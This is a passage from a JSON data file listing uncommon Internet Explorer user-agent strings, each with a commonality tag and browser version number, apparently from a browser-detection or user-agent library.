QwestIE8x64)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident\\/6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident\\/7.0;  rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; MANM; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPNTDF; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAEM; .NET4.0C; InfoPath.2; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; EIE10;PTBRWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; EIE10;ENUSMCM)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC S; SRC 2.7.1 E1; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MATM; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64, x64; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; EIE10;ENCAWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; QAM; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; yie10)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Babya Discoverer  8.0:\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MATP; MATP; TAJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; WebMoney Advisor; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident\\/6.0; IEMobile\\/10.0; ARM; Touch; NOKIA; 909; Vodafone)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; NP08; MAAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; msn OptimizedIE8;FRBE)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; BOIE9;NLBE)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; ARM; Trident\\/6.0; Touch; ARMBJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; Tablet PC 2.0; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; FBViewer-6.0.4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; WinTSI 07.11.2009; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; NGD_build; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; .NET4.0C; .NET4.0E; McAfee)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTbARS\\/5.8.0.12304)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; SLCC2; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MAMI)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;FRBE)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MAM3; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 925) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; BOIE9;ENUSMSE)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; ASJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; ASJB; ASJB; MAAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; NP07; NP07)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Creative)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; SV1)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; NP08; NP08; MAAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; Trident\\/7.0; LCTE; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MATBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BO1IE8_v1;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 5.1;)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; BOIE9;ENUS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (MSIE 9.0; Windows NT 6.1; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 430 Dual SIM) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (X11; U; CrOS i686 0.13.507; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FunWebProducts; GTB7.5; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; AskTbOVO2\\/5.13.1.18107; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; 79981903; feed\\/7.1.08050)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0; HPDTDFJS; IPH 1.1.21.4019)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; Tablet PC 2.0; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; BRI\\/1; .NET4.0C; AskTbORJ\\/5.14.1.20007; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI\\/2; MAGW; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 5.0;.NET CLR 1.0.3705; ContextAd Bot 1.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; MALNJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; QwestIE8x64)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; msn OptimizedIE8;ENCA)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MALCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0(compatible;MSIE 7.0;Windows NT 6.1;SV1;.NET CLR 1.0.3705;.NET CLR 3.0.30618)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MATMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 630) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 3.0.4506.2152; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; Alexa Toolbar; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3; Alexa Toolbar)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB7.4; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; AskTbORJ\\/5.15.15.36191)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Trident\\/7.0; LCTE; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; ATT-IE11; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; atyinst(ihp))\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; 